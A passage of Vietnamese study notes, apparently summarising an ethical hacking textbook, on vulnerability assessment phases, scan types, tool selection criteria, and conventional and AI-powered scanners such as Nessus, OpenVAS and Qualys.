6. Phân tích kết quả, loại bỏ báo cáo dương tính giả (false positives) và âm tính giả (false negatives).
7. Áp dụng bối cảnh công nghệ và nghiệp vụ vào kết quả quét.
8. Thực hiện thu thập thông tin OSINT để xác minh lỗ hổng.
9. Tạo báo cáo quét lỗ hổng.

- **Giai đoạn Sau đánh giá (Post-Assessment Phase): Các nhiệm vụ chi tiết được thực hiện trong giai đoạn này bao gồm (Trang 567-568):**
  - **Các nhiệm vụ chung được thực hiện trong giai đoạn sau đánh giá bao gồm:**
    * Tạo danh sách ưu tiên cho các khuyến nghị đánh giá dựa trên phân tích tác động (Creating a priority list for assessment recommendations based on the impact analysis).
    * Phát triển kế hoạch hành động để triển khai phương pháp khắc phục được đề xuất (Developing an action plan to implement the proposed remediation).
    * Ghi nhận các bài học kinh nghiệm để cải thiện toàn bộ quy trình trong tương lai (Capturing lessons learned to improve the complete process in the future).
    * Tiến hành đào tạo cho nhân viên (Conducting training for employees).
  - **Risk Assessment (Đánh giá rủi ro):**
    * Thực hiện phân loại rủi ro dựa trên xếp hạng rủi ro (ví dụ: critical, high, medium, low).
    * Đánh giá mức độ tác động (Assess the level of impact).
    * Xác định mức độ đe dọa và rủi ro (Determine the threat and risk levels).
  - **Remediation (Khắc phục):**
    * Ưu tiên khắc phục dựa trên xếp hạng rủi ro.
    * Phát triển kế hoạch hành động để triển khai các khuyến nghị hoặc biện pháp khắc phục.
    * Thực hiện phân tích nguyên nhân gốc rễ (root-cause analysis).
    * Áp dụng các bản vá và sửa lỗi (Apply patches and fixes).
    * Ghi nhận các bài học kinh nghiệm (Capture lessons learned).
    * Tiến hành đào tạo nhận thức (Conduct awareness training).
    * Thực hiện xử lý ngoại lệ và chấp nhận rủi ro đối với các lỗ hổng không thể khắc phục.
  - **Verification (Xác minh):**
    * Quét lại các hệ thống (Rescanning) để xác định xem bản sửa lỗi đã áp dụng có hiệu quả trong việc khắc phục lỗ hổng hay không.
    * Thực hiện phân tích động (Performing dynamic analysis).
    * Đánh giá lại bề mặt tấn công (Reviewing the attack surface).
  - **Monitoring (Giám sát):**
    * Quét và đánh giá lỗ hổng định kỳ.
    * Khắc phục kịp thời các lỗ hổng được xác định.
    * Giám sát nhật ký phát hiện xâm nhập và ngăn ngừa xâm nhập.

    * Thực thi các chính sách, quy trình và kiểm soát.

Nguồn nghiên cứu lỗ hổng (Vulnerability research resources)

Thu thập thông tin để theo dõi xu hướng bảo mật, cách khắc phục, bề mặt tấn công:

- **Mục đích của việc nghiên cứu lỗ hổng (Why administrators need vulnerability research) (Trang 569):**
  - Thu thập thông tin về xu hướng bảo mật, mối đe dọa mới, bề mặt và kỹ thuật tấn công.
  - Phát hiện điểm yếu trong OS/ứng dụng và cảnh báo quản trị mạng trước khi bị tấn công.
  - Hiểu thông tin để ngăn ngừa rủi ro bảo mật và biết cách phục hồi sau tấn công.
  - Ưu tiên và áp dụng bản vá/cập nhật hiệu quả trước khi lỗ hổng bị khai thác.
  - Tuân thủ các tiêu chuẩn thực hành tốt nhất trong ngành.
- **Hoạt động nghiên cứu lỗ hổng của Ethical Hacker (Vulnerability research for Ethical Hackers):** Để đi trước kẻ tấn công một bước, một hacker có đạo đức cần theo kịp các lỗ hổng và cách khai thác mới nhất, bao gồm:
  - Khám phá các lỗi và điểm yếu trong thiết kế hệ thống có thể cho phép kẻ tấn công thỏa hiệp hệ thống.
  - Luôn cập nhật về các sản phẩm và công nghệ mới, đọc tin tức liên quan đến các nỗ lực khai thác hiện tại.
  - Kiểm tra các trang web ngầm của hacker (Deep và Dark web) để tìm các lỗ hổng và exploit mới phát hiện.
  - Kiểm tra các cảnh báo mới phát hành liên quan đến những đổi mới và cải tiến sản phẩm cho hệ thống bảo mật.
  - Dự đoán cách một hệ thống có thể bị tấn công và thực hiện các bước để giảm thiểu những rủi ro đó.
  - Giúp tổ chức phát triển các chiến lược phòng thủ mạnh mẽ để bảo vệ trước các mối đe dọa cụ thể.
  - Điều chỉnh các giải pháp bảo mật cho phù hợp với nhu cầu và hồ sơ rủi ro riêng của tổ chức.
  - Tiến hành kiểm toán kỹ lưỡng để xác định các vấn đề tuân thủ và khoảng trống bảo mật.
  - **Phân loại lỗ hổng bởi Chuyên gia và Máy quét (Classification by Experts and Scanners):**
    * Mức độ nghiêm trọng (Severity level): Thấp, trung bình, hoặc cao (low, medium, or high).
    * Phạm vi khai thác (Exploit range): Cục bộ hoặc từ xa (local or remote).
- **Microsoft Security Response Center (MSRC)**
- **Packet Storm** (`https://packetstormsecurity.com`)
- *(Lưu ý bổ sung từ nguồn: Dark Reading, Trend Micro, Security Magazine, PenTest Magazine, SC Magazine, Exploit Database, Help Net Security, HackerStorm).*
- **Computerworld** (`https://www.computerworld.com`)
- **D'Crypt** (`https://www.d-crypt.com`) (Trang 572)
- **Quét chủ động (Active Scanning):** Kẻ tấn công hoặc hệ thống quét tương tác trực tiếp với mạng mục tiêu bằng cách gửi các gói tin thăm dò (probes) để phát hiện lỗ hổng.

- **Quét thụ động (Passive Scanning):** Kẻ tấn công hoặc hệ thống quét xác định lỗ hổng mà không cần tương tác trực tiếp, thông qua việc thu thập thông tin công khai trong mạng, phân tích thiết lập TCP và giám sát luồng lưu lượng.
- **Các công cụ (Tools):**
  - **Nessus Essentials:** Công cụ phát hiện lỗ hổng tốc độ cao, hỗ trợ kiểm tra cấu hình, phát hiện malware và quét các nền tảng đám mây/ảo hóa.
  - **GFI LanGuard:** Quét, đánh giá và khắc phục lỗ hổng mạng, hỗ trợ tính năng quản lý bản vá (patch management).
  - **OpenVAS:** Framework mã nguồn mở mạnh mẽ đi kèm với bộ NVT khổng lồ để quét và quản lý lỗ hổng toàn diện.
  - **Nikto:** Trình quét máy chủ web mã nguồn mở (GPL) rà soát 6700 tập tin nguy hiểm và lỗi cấu hình web.
  - **Qualys Vulnerability Management:** Nền tảng đánh giá trên đám mây (cloud-based), hỗ trợ dựa trên tác nhân (Agent-based) và giám sát, phân tích rủi ro liên tục.
- **Thông tin do máy quét xác định (Information identified by vulnerability scanners) (Trang 573-574):** Máy quét lỗ hổng có khả năng xác định các thông tin sau:
  - Phiên bản Hệ điều hành (OS version) đang chạy trên máy tính hoặc thiết bị.
  - Các cổng TCP/UDP đang lắng nghe (listening ports).
  - Các ứng dụng được cài đặt trên máy tính.
  - Các tài khoản có mật khẩu yếu.
  - Các tệp và thư mục có quyền truy cập (permissions) yếu.
  - Các dịch vụ và ứng dụng mặc định có thể cần phải gỡ cài đặt.
  - Các lỗi trong cấu hình bảo mật của những ứng dụng phổ biến.
  - Các máy tính phơi nhiễm trước những lỗ hổng đã biết hoặc được báo cáo công khai.
  - Thông tin về phần mềm EOL/EOS (End of Life/End of Support).
  - Các bản vá và hotfix bị thiếu.
  - Cấu hình mạng yếu và các cổng bị cấu hình sai hoặc rủi ro.
  - Xác minh khoảng kiểm kê của tất cả các thiết bị trên mạng.
- **Hạn chế của Quét lỗ hổng (Limitations of Vulnerability Scanning) (Trang 573-574):**
  - Phần mềm quét lỗ hổng bị giới hạn ở khả năng phát hiện lỗ hổng tại một thời điểm nhất định (point in time).
  - Phần mềm quét lỗ hổng phải được cập nhật khi có lỗ hổng mới được phát hiện hoặc khi phần mềm đang dùng được nâng cấp.
  - Phần mềm chỉ hiệu quả khi được bảo trì bởi nhà cung cấp phần mềm và bởi quản trị viên sử dụng nó.
  - Quét lỗ hổng không đo lường được "sức mạnh" của các biện pháp kiểm soát an ninh (security controls).
  - Phần mềm quét lỗ hổng không miễn nhiễm với các lỗi kỹ thuật phần mềm, điều này có thể dẫn đến việc bỏ sót các lỗ hổng nghiêm trọng.

- Cần có phán đoán của con người (Human judgment) để phân tích dữ liệu sau khi quét nhằm xác định các dương tính giả (false positives) và âm tính giả (false negatives).
- Phần mềm quét lỗ hổng không thể xác định chính xác tác động (impact) của một lỗ hổng đã nhận diện lên các hoạt động kinh doanh khác nhau.
- Báo cáo đánh giá lỗ hổng không phải lúc nào cũng dễ hiểu và dễ đánh giá đối với các yếu tố rủi ro và phản hồi phân loại (triage response).
- Các công cụ quét lỗ hổng có phạm vi hẹp và không bao gồm các vector tấn công như Kỹ nghệ xã hội (social engineering).
- Phần mềm quét lỗ hổng bị hạn chế trong khả năng thực hiện các bài kiểm tra trực tiếp (live tests) trên các ứng dụng web để phát hiện lỗi hoặc hành vi không mong muốn.
- Các công cụ quét lỗ hổng phụ thuộc vào các lỗ hổng đã biết, do đó không thể phát hiện các mối đe dọa zero-day.
- Mặc dù có thể xác định lỗ hổng, máy quét có thể không ưu tiên chúng hiệu quả dựa trên bối cảnh cụ thể (ví dụ: mức độ quan trọng của hệ thống bị ảnh hưởng hoặc dữ liệu mà nó lưu trữ).
- Phần mềm quét lỗ hổng phụ thuộc lớn vào tính toàn diện của cơ sở dữ liệu lỗ hổng mà nó sử dụng. Nếu database không cập nhật hoặc thiếu thông tin, lỗ hổng có thể bị bỏ sót.
- Phương pháp được sử dụng có thể ảnh hưởng đến kết quả kiểm tra. Ví dụ: phần mềm quét chạy dưới quyền Domain Administrator sẽ cho kết quả khác với phần mềm chạy bằng quyền người dùng thông thường hoặc không xác thực. Tương tự, các gói phần mềm quét khác nhau đánh giá bảo mật theo các cách khác nhau và có các tính năng độc đáo riêng, điều này có thể ảnh hưởng đến kết quả đánh giá. (Trang 575)

Các loại quét lỗ hổng (Types of Vulnerability Scanning)

- **External scanning (Quét bên ngoài):** Kiểm tra mạng từ góc độ của hacker để xác định các lỗ hổng và điểm yếu có thể tiếp cận từ thế giới bên ngoài. Các bước bao gồm xác định quy tắc firewall/router, kiểm tra thiết bị ánh xạ, cổng mở, mức độ bản vá và các khu vực DNS.
  - *Các bước quét bên ngoài (External scan steps) (Trang 576-577):*
    - Xác định một tập hợp các quy tắc cho cấu hình firewall và router đối với mạng bên ngoài.
    - Kiểm tra xem các thiết bị máy chủ bên ngoài và thiết bị mạng đã được ánh xạ (mapped) chưa.
    - Xác định các cổng đang mở và các dịch vụ liên quan trên mạng bên ngoài.
    - Kiểm tra mức độ bản vá (patch levels) trên máy chủ và thiết bị mạng ngoại vi.
    - Đánh giá các hệ thống phát hiện như IDS, firewalls và các hệ thống bảo vệ tầng ứng dụng (application-layer protection).
    - Lấy thông tin về các DNS zones.
    - Quét mạng bên ngoài thông qua nhiều công cụ độc quyền có sẵn trên Internet.
    - Kiểm tra các ứng dụng web như e-commerce và phần mềm giỏ hàng (shopping cart) để tìm lỗ hổng.
- **Internal scanning (Quét bên trong):** Kiểm tra mạng nội bộ để tìm các lỗ hổng. Bao gồm xác định cổng mở, cấu hình router/firewall, quét Trojans/malware, mức độ bản vá, cơ chế chia sẻ tệp (NFS, SMB) và phần mềm diệt virus.
  - *Các bước quét bên trong (Internal scan steps) (Trang 577):*

    * Xác định các cổng mở và dịch vụ liên quan trên các thiết bị mạng, máy chủ và hệ thống.
    * Kiểm tra cấu hình router và bộ quy tắc firewall (firewall rule sets).
    * Lập danh sách các lỗ hổng nội bộ của hệ điều hành và máy chủ.
    * Quét tìm bất kỳ Trojans nào có thể hiện diện trong môi trường nội bộ.
    * Kiểm tra mức độ bản vá trên các thiết bị mạng nội bộ, máy chủ và hệ thống của tổ chức.
    * Kiểm tra sự tồn tại của malware, spyware, virus và ghi chép lại chúng.
    * Đánh giá an ninh vật lý (physical security).
    * Xác định và đánh giá các sự kiện và quy trình quản lý từ xa (remote management process).
    * Đánh giá các cơ chế chia sẻ tệp (ví dụ: các share NFS và SMB/CIFS).
    * Kiểm tra quá trình triển khai phần mềm diệt virus và các sự kiện liên quan.

- **Host-based scanning (Quét dựa trên máy chủ):** Kiểm tra mức độ cấu hình (configuration-level check) để xác định cấu hình hệ thống, thư mục người dùng, hệ thống tệp, cài đặt registry, v.v., nhằm đánh giá khả năng bị xâm phạm của một máy chủ mạng cụ thể.
- **Network-based scanning (Quét dựa trên mạng):** Phát hiện các tài nguyên mạng, ánh xạ cổng và dịch vụ. Nó đánh giá hệ thống để tìm các bản vá còn thiếu, dịch vụ không cần thiết, xác thực yếu hoặc mã hóa yếu, giúp tìm ra con đường xâm nhập của kẻ tấn công.
- **Application scanning (Quét ứng dụng):** Tập trung vào các ứng dụng web giao dịch (transactional web apps), ứng dụng client-server truyền thống và hệ thống lai. Nó phân tích cơ sở hạ tầng web để tìm lỗi cấu hình, nội dung lỗi thời hoặc lỗ hổng đã biết.
- **Database scanning (Quét cơ sở dữ liệu):** Tập trung kiểm tra cấu hình sai hoặc lỗ hổng trên các công nghệ cơ sở dữ liệu như MySQL, MSSQL, Oracle, và PostgreSQL để xác định rủi ro rò rỉ dữ liệu hoặc tiêm mã (injection).
- **Wireless network scanning (Quét mạng không dây):** Xác định các lỗ hổng trên mạng không dây của tổ chức, bao gồm các cơ chế mã hóa dữ liệu yếu, lỗi thời hoặc các mạng trái phép (rogue networks).
- **Distributed scanning (Quét phân tán):** Quét đồng bộ hóa các tài sản của tổ chức được phân bổ ở nhiều vị trí khác nhau (như client/server apps) cùng một lúc.
- **Credentialed/Authenticated scanning (Quét có xác thực):** Scanner đăng nhập vào hệ thống mục tiêu bằng thông tin xác thực hợp lệ để thực hiện quét toàn diện hơn, truy cập vào những khu vực bị ẩn đi đối với quét không xác thực.
- **Non-credentialed/Unauthenticated scanning (Quét không xác thực):** Đánh giá mà không sử dụng thông tin đăng nhập, mô phỏng một kẻ tấn công bên ngoài cố gắng tìm lỗ hổng mà không có quyền truy cập đặc quyền.
- **Manual scanning (Quét thủ công):** Đánh giá và xác thực thủ công các lỗ hổng bằng chuyên môn con người. Bao gồm: kiểm tra mã nguồn, kiểm tra cấu hình thủ công và kiểm thử xâm nhập (penetration testing).
- **Automated scanning (Quét tự động):** Sử dụng các công cụ phần mềm (như Nessus, Qualys, GFI LanGuard) để xác định, đánh giá và báo cáo lỗ hổng một cách có hệ thống, không cần can thiệp thủ công.
- **Cloud-based scanning (Quét nền tảng đám mây):** Đánh giá bảo mật hạ tầng cloud theo các hướng dẫn an toàn, phát hiện điểm yếu xâm nhập trên cloud.
- **Mobile application scanning (Quét ứng dụng di động):** Kiểm tra mã nguồn và các kiểm soát bảo mật nội bộ của các ứng dụng di động và API công khai.

- **Physical security vulnerability scanning (Quét bảo mật vật lý):** Kiểm tra toàn diện tài sản vật lý để chủ động nhận diện lỗ hổng, giúp giảm thiểu rủi ro vật lý.
- **IoT device vulnerability scanning (Quét thiết bị IoT):** Quét điểm yếu trên các thiết bị và hệ thống IoT kết nối mạng (phần cứng, phần mềm, giao thức).

Phương pháp đánh giá lỗ hổng (Approaches to Vulnerability Assessment)

(Lưu ý: Có sự bổ sung loại đánh giá từ gốc sách định dạng).

- **Product-based solutions (Giải pháp dựa trên sản phẩm):** Các giải pháp được cài đặt trong mạng nội bộ của tổ chức (trên private hoặc non-routable space). Mặc dù an toàn hơn nhưng không thể luôn phát hiện được các cuộc tấn công từ bên ngoài firewall.
- **Service-based solutions (Giải pháp dựa trên dịch vụ):** Các giải pháp do bên thứ ba cung cấp (các công ty kiểm toán/tư vấn bảo mật). Kẻ tấn công cũng có thể dùng mạng Internet/external để quét mục tiêu tương tự.
- **Tree-Based Assessment (Đánh giá dựa trên cây):** Quản trị viên chọn các chiến lược (máy quét) khác nhau cho từng máy móc/thành phần hệ thống cụ thể (VD: Dùng scanner khác nhau cho thiết bị Windows và Linux).
- **Inference-Based Assessment (Đánh giá dựa trên suy luận):** Bắt đầu bằng việc kiểm kê các giao thức, sau đó phát hiện cổng gắn với dịch vụ nào, và chỉ quét các lỗ hổng liên quan đến dịch vụ đó.

Đặc điểm của một giải pháp đánh giá lỗ hổng tốt (Characteristics of a Good Vulnerability Assessment Solution) (Trang 582-583)

- Bao phủ phạm vi tài sản rộng (mạng, server, endpoint, web apps, cloud).
- Đảm bảo kết quả chính xác bằng cách kiểm tra đa dạng mạng, cổng, giao thức.
- Hỗ trợ nhiều mạng (Supports multiple networks).
- Tích hợp tính năng ưu tiên dựa trên rủi ro (Incorporates risk-based prioritization), xem xét mức độ nghiêm trọng của lỗ hổng, tính quan trọng của tài sản bị ảnh hưởng và bối cảnh môi trường của tổ chức để giúp ưu tiên nỗ lực khắc phục hiệu quả.
- Sử dụng phương pháp đánh giá dựa trên suy luận (inference-based) bài bản.
- Tự động quét và đối chiếu với cơ sở dữ liệu được cập nhật liên tục.
- Tạo báo cáo ngắn gọn, khả thi, tùy chỉnh theo mức độ nghiêm trọng và xu hướng.
- Đề xuất các biện pháp khắc phục và cách giải quyết (workarounds) phù hợp.
- Mô phỏng góc nhìn bên ngoài của kẻ tấn công (Imitates the outside view).
- Giảm thiểu tối đa dương tính giả và âm tính giả để tránh lãng phí nguồn lực.
- Hỗ trợ quét thời gian thực và tự động hóa quy trình phản hồi tích hợp.

Hoạt động của các giải pháp quét lỗ hổng (Working of Vulnerability Scanning Solutions) (Trang 583)

Các giải pháp quét lỗ hổng thực hiện kiểm tra thâm nhập lỗ hổng trên mạng tổ chức theo 3 bước:

1. **Xác định vị trí các node (Locating nodes):** Bước đầu tiên trong quá trình quét lỗ hổng là định vị các máy chủ đang hoạt động (live hosts) trong mạng mục tiêu bằng nhiều kỹ thuật quét khác nhau.

2. **Thực hiện khám phá dịch vụ và hệ điều hành trên chúng (Performing service and OS discovery on them):** Sau khi phát hiện các máy chủ hoạt động trong mạng mục tiêu, bước tiếp theo là liệt kê các cổng và dịch vụ đang mở cùng với hệ điều hành chạy trên hệ thống đích.
3. **Kiểm tra các dịch vụ và hệ điều hành đó để tìm lỗ hổng đã biết (Testing those services and OS for known vulnerabilities):** Cuối cùng, sau khi xác định được các dịch vụ mở và hệ điều hành đang chạy trên các node mục tiêu, chúng sẽ được kiểm tra để tìm ra các lỗ hổng đã biết.

Các loại công cụ đánh giá lỗ hổng (Types of Vulnerability Assessment Tools)

- **Host-Based Vulnerability Assessment Tools:** Thích hợp cho server chạy nhiều ứng dụng (Web, database, directories). Công cụ này xác định OS và kiểm tra các thiếu sót cấu hình đã biết.
- **Depth Assessment Tools:** Dùng để phát hiện các lỗ hổng chưa từng biết. Sử dụng các công cụ như fuzzers (đưa input ngẫu nhiên) hoặc dùng bộ chữ ký lỗ hổng (vulnerability signatures) để kiểm tra độ bền của sản phẩm.
- **Application-Layer Vulnerability Assessment Tools:** Quét qua Internet hoặc router/firewall/webserver bên ngoài để tìm các rủi ro (DoS/DDoS external, nghe lén data). Hướng chủ yếu tới các máy chủ web hoặc cơ sở dữ liệu.
- **Scope Assessment Tools:** Đánh giá an ninh bằng cách kiểm tra lỗ hổng trong ứng dụng và OS. Cung cấp báo cáo tiêu chuẩn theo mục tiêu cấu hình người dùng chọn.
- **Active and Passive Tools:**
  - **Active scanners (Chủ động):** Tiêu tốn tài nguyên mạng để kiểm tra lỗ hổng. Ưu điểm là dễ kiểm soát thông số thời gian, nhưng không dùng được cho các hệ thống quá quan trọng (Critical system).
  - **Passive scanners (Thụ động):** Ít ảnh hưởng tới hiệu năng hệ thống, chỉ quan sát dữ liệu hệ thống (logs, processes) và đánh giá dựa trên tập quy tắc theo thiết lập chuẩn.
- **Location and Data Examination Tools (Các công cụ quét vị trí và dữ liệu):**
  - **Network-Based Scanner:** Công cụ quét mạng từ xa, tương tác với máy thực và báo cáo.
  - **Agent-Based Scanner:** Cài agent trên một máy mục tiêu cụ thể nhưng có thể quét nhiều máy trong cùng mạng.
  - **Proxy Scanner:** Máy quét mạng có thể thực hiện quét từ bất kỳ máy nào có quyền truy cập vào mạng.
  - **Cluster Scanner:** Thực hiện đồng thời hai hay nhiều lệnh quét trên các máy khác nhau trong mạng để tối ưu.

Lựa chọn & Tiêu chí Công cụ đánh giá lỗ hổng (Choosing a Vulnerability Assessment Tool)

Yêu cầu lựa chọn (Choosing requirements):

- Khả năng kiểm tra số lượng lớn lỗ hổng (từ hàng chục đến 30.000 lỗ hổng).
- Cơ sở dữ liệu chữ ký cập nhật thường xuyên.
- Ánh xạ mạng và ứng dụng chính xác, cung cấp script riêng cho nhiều platform.
- Quản lý băng thông (Bandwidth limitations) và điều tiết truy vấn (query throttling).
  - Chọn công cụ phù hợp với môi trường và chuyên môn hiện có.
  - Đảm bảo cập nhật công cụ quét thường xuyên để công cụ nhận biết được các lỗ hổng mới nhất.

  - Đảm bảo rằng tất cả các bản vá đã được áp dụng; nếu không thực hiện có thể dẫn đến kết quả dương tính giả (false positives).
  - Tìm hiểu xem có bao nhiêu báo cáo được trả về, chúng chứa thông tin gì và liệu có thể xuất (export) chúng ra hay không.
  - Kiểm tra xem công cụ có các mức độ thâm nhập (levels of penetration) khác nhau để ngăn chặn tình trạng treo hệ thống (lockups) hay không.
  - Chi phí bảo trì của công cụ có thể được bù đắp bằng cách sử dụng chúng một cách hiệu quả.
  - Đảm bảo rằng công cụ đánh giá lỗ hổng có thể chạy quét nhanh chóng và chính xác.
  - Đảm bảo rằng công cụ có thể thực hiện quét bằng nhiều giao thức khác nhau (multiple protocols).
  - Xác minh rằng công cụ có thể hiểu và phân tích cấu trúc liên kết mạng (network topology) để thực hiện đánh giá.
  - Đảm bảo công cụ có thể đánh giá các hệ thống mỏng manh (fragile systems) và tài sản phi truyền thống.

Tiêu chí lựa chọn cụ thể (Criteria of choosing):

- **Types of vulnerabilities being assessed:** Loại lỗ hổng được ưu tiên phát hiện.
- **Testing capability of scanning:** Năng lực quét thực thi kiểm tra toàn bộ hệ thống chọn lọc.
- **Ability to provide accurate reports:** Báo cáo xuất ra chính xác, ngắn gọn và hướng dẫn cách khắc phục.
- **Efficient and accurate scanning:** Hiệu quả thời gian và độ chính xác (giảm thiểu mất mát tài nguyên).
- **Capability to perform a smart search:** Khả năng tìm kiếm thông minh khi đang quét.
- **Functionality for writing its own tests:** Cho phép người dùng viết các bài kiểm tra (test) tùy chỉnh khi không có sẵn chữ ký.
- **Test run scheduling:** Lên lịch chạy kiểm tra lúc mạng nhàn rỗi (Off-peak testing).
- **Tốc độ (Speed):** Đánh giá tốc độ quét của công cụ để đảm bảo phát hiện kịp thời các lỗ hổng mà không gây ra quá tải hiệu suất đáng kể cho mạng hoặc hệ thống tổ chức.
- **Khả năng tương thích (Compatibility):** Đảm bảo công cụ đánh giá sở hữu khả năng tương thích trên nhiều khía cạnh để quét lỗ hổng hiệu quả trong các môi trường IT đa dạng. Đồng thời đánh giá khả năng tương thích với các hệ thống cũ (legacy systems) vì chúng dễ gặp lỗ hổng thường xuyên.
- **Hỗ trợ cấu hình (Configuration support):** Cùng với tính tương thích, công cụ cũng nên hỗ trợ mọi loại cấu hình hoặc cài đặt để tiến hành quét thường xuyên trên nhiều môi trường khác nhau, bao gồm cả on-premises và cloud.
- **Tuân thủ (Compliance):** Kiểm tra xem công cụ đánh giá có đáp ứng các tiêu chuẩn ngành, quy định, thực hành tốt nhất và các yêu cầu kinh doanh có liên quan hay không.
- **Mô hình cấp phép và chi phí (Licensing model and cost):** Đánh giá mô hình cấp phép do nhà cung cấp đưa ra, xem xét dựa trên số lượng tài sản/thiết bị, địa chỉ IP, người dùng hoặc module/tính năng.
- **Khả năng mở rộng và hiệu suất (Scalability and performance):** Đảm bảo công cụ có khả năng xử lý khối lượng quét ngày càng tăng mà không làm suy giảm đáng kể hoạt động mạng. Nó phải sử dụng hiệu quả tài nguyên hệ thống (CPU, RAM, băng thông).

Các thực hành tốt nhất khi chọn công cụ (Best Practices for Selecting Tools) (Trang 587):

- Đảm bảo công cụ không làm hỏng hoặc treo hệ thống mạng trong quá trình chạy.
- Hiểu rõ chức năng và xác định luồng thông tin cần thiết trước khi bắt đầu quét.

- Lựa chọn vị trí đặt máy quét phù hợp (trong hay ngoài mạng) do cơ chế bảo mật khác nhau.
- Bật tính năng ghi nhật ký (enable logging) và đảm bảo mọi phương pháp được ghi chú lại mỗi khi thực hiện.
- Thường xuyên quét và giám sát hệ thống định kỳ.

Công cụ tiêu biểu (Vulnerability Assessment Tools)

- **Nessus Essentials:** Giải pháp đánh giá lỗ hổng, lỗi cấu hình và phần mềm độc hại. Các tính năng chính (Features): Khám phá tài sản tốc độ cao (High-speed asset discovery); Đánh giá lỗ hổng (Vulnerability assessment); Phát hiện malware và botnet (Malware and botnet detection); Quét và kiểm toán các nền tảng ảo hóa và đám mây (Scanning and auditing virtualized and cloud platforms).
- **GFI LanGuard:** Quét, phát hiện, đánh giá và khắc phục lỗ hổng mạng. Các tính năng chính (Features): Quản lý bản vá cho OS và ứng dụng bên thứ ba; Đánh giá lỗ hổng; Bảng điều khiển báo cáo Web; Theo dõi lỗ hổng mới nhất và bản vá bị thiếu; Tích hợp với các ứng dụng bảo mật; Kiểm tra lỗ hổng thiết bị mạng; Kiểm toán mạng và phần mềm; Hỗ trợ môi trường ảo hóa.
- **OpenVAS:** Framework nguồn mở với kho Network Vulnerability Tests (NVTs) khổng lồ (+50.000 bài kiểm tra).
- **Nikto:** Máy quét web server mã nguồn mở (GPL), quét 6700 tệp độc hại và các lỗi cấu hình máy chủ. Tính năng: Hỗ trợ SSL, hỗ trợ HTTP proxy đầy đủ, kiểm tra các thành phần máy chủ lỗi thời, lưu báo cáo (XML, HTML, CSV...), sử dụng Template engine, quét nhiều cổng/máy chủ, dùng kỹ thuật mã hóa IDS của LibWhisker, nhận diện phần mềm qua headers/favicons, xác thực host (Basic/NTLM), đoán subdomain, liệt kê username Apache/cgiwrap, và đoán thông tin xác thực.
- **Qualys Vulnerability Management:** Dịch vụ cloud-based cung cấp khả năng hiển thị toàn cầu ngay lập tức. Các tính năng chính (Features):
  - Agent-based detection: Mở rộng phạm vi mạng tới các tài sản không thể quét bằng tác nhân Cloud Qualys.
  - Constant monitoring and alerts: Kết hợp với Giám sát liên tục (CM) để cảnh báo chủ động các mối đe dọa.
  - Comprehensive coverage and visibility: Quét tài sản on-premises, cloud và thiết bị di động. Tạo báo cáo tùy chỉnh.
  - VM for the perimeter-less world: Quản lý lỗ hổng thế hệ mới cho môi trường IT lai (Hybrid IT).
  - Discover forgotten devices: Tìm kiếm hệ thống máy chủ, điểm truy cập bất ngờ, thiết bị bị lãng quên.
  - Scan for vulnerabilities everywhere: Quét hệ thống ở mọi nơi từ cùng một bảng điều khiển.
  - Identify and prioritize risks: Sử dụng phân tích xu hướng, Zero-Day và dự đoán tác động bản vá để xác định rủi ro cao nhất.
  - Remediate vulnerabilities: Theo dõi dữ liệu lỗ hổng qua các máy chủ và thời gian để tạo báo cáo tương tác.
- **Các công cụ khác:** InsightVM, Acunetix, Nexpose, Sniper, Tripwire IP360, SAINT Security Suite, BeSECURE, Core Impact Pro, Intruder, ManageEngine, Astra Pentest, Skybox, MaxPatrol TM.

Các công cụ hỗ trợ AI (AI-Powered Vulnerability Assessment Tools)

Sử dụng công nghệ AI và Machine Learning (ML) để tự động hóa, học hỏi mẫu bất thường (anomalies) và giảm dương tính/âm tính giả (false positives/negatives):

Các công cụ quét lỗ hổng truyền thống thường phải vật lộn (struggle) để bắt kịp với các mối đe dọa mạng tiến hóa nhanh chóng do chúng phụ thuộc vào các quy tắc và chữ ký định sẵn (predefined rules and signatures), dẫn đến các quy trình kém hiệu quả và dễ xảy ra lỗi. Ngược lại, các công cụ đánh giá lỗ hổng được hỗ trợ bởi AI (AI-powered) cách mạng hóa việc quản lý rủi ro bảo mật bằng cách tận dụng các công nghệ tiên tiến để tự động hóa và nâng cao quy trình phát hiện/khắc phục. Máy quét định hướng AI có thể thích ứng với các mối đe dọa mới, giảm thiểu dương tính giả (false positives), và cung cấp thông tin chi tiết chính xác có thể hành động. Quan trọng nhất, các máy quét AI liên tục học hỏi từ dữ liệu mới, bao gồm các mối đe dọa đang nổi và các mẫu kỹ thuật tấn công (attack technique patterns).

Bảng so sánh: Truyền thống vs. Hỗ trợ AI (Traditional vs. AI-Powered Vulnerability Assessment) (Trang 596):

- **Phạm vi và Tầm nhìn (Scope and Coverage):** Truyền thống tập trung vào các lỗ hổng đã biết thông qua luật/chữ ký; AI phân tích dữ liệu khổng lồ để nhận diện mẫu, phát hiện cả lỗ hổng Đã biết và Chưa biết (Unknown vulnerabilities).
- **Ưu tiên (Prioritization):** Truyền thống xếp hạng chỉ dựa trên mức độ nghiêm trọng kỹ thuật; AI sử dụng đánh giá rủi ro ngữ cảnh (Risk-based), xét đến mức độ quan trọng của tài sản và khả năng bị khai thác thực tế.
- **Hiệu quả (Efficiency):** Truyền thống tốn thời gian và tài nguyên ở các mạng phức tạp; AI sử dụng thuật toán tự động hóa để hợp lý hóa quy trình quét.
- **Khả năng thích ứng (Adaptability):** Truyền thống khó thích ứng với các mối đe dọa mới; AI liên tục học hỏi từ dữ liệu mới và các phương thức tấn công mới nổi.
- **Equixly:** Nền tảng SaaS tập trung vào kiểm tra bảo mật API, phân tích dữ liệu rủi ro tự động. Các tính năng chính:
  - Phát hiện lỗ hổng bằng AI (AI-Driven Vulnerability Detection).
  - Phân tích mối đe dọa tự động (Automated Threat Analysis).
  - Giám sát bảo mật thời gian thực (Real-Time Security Monitoring).
  - Học tập thích ứng (Adaptive Learning) giúp liên tục cải thiện độ chính xác.
- **SmartScanner:** Quét lỗ hổng website tự động giúp tăng cường bảo mật. Các tính năng chính:
  - Sử dụng Machine Learning có giám sát và không giám sát (Supervised and Unsupervised ML) để phân biệt hành vi độc hại và an toàn.
  - Thiết lập đường cơ sở (Baseline Establishment) của hành vi bình thường.
  - Phát hiện bất thường (Anomaly Detection) để gắn cờ các sai lệch.
  - Phân tích và Phản hồi thời gian thực (Real-time Analytics and Response).
- **CodeDefender:** Công cụ tự động phát hiện, ưu tiên và sửa chữa lỗ hổng bảo mật trực tiếp trên mã nguồn (code bases).
- **Corgea:** Nền tảng tự động tạo và triển khai các bản vá mã an toàn (code patches) để giảm công sức thủ công cho nhóm bảo mật.
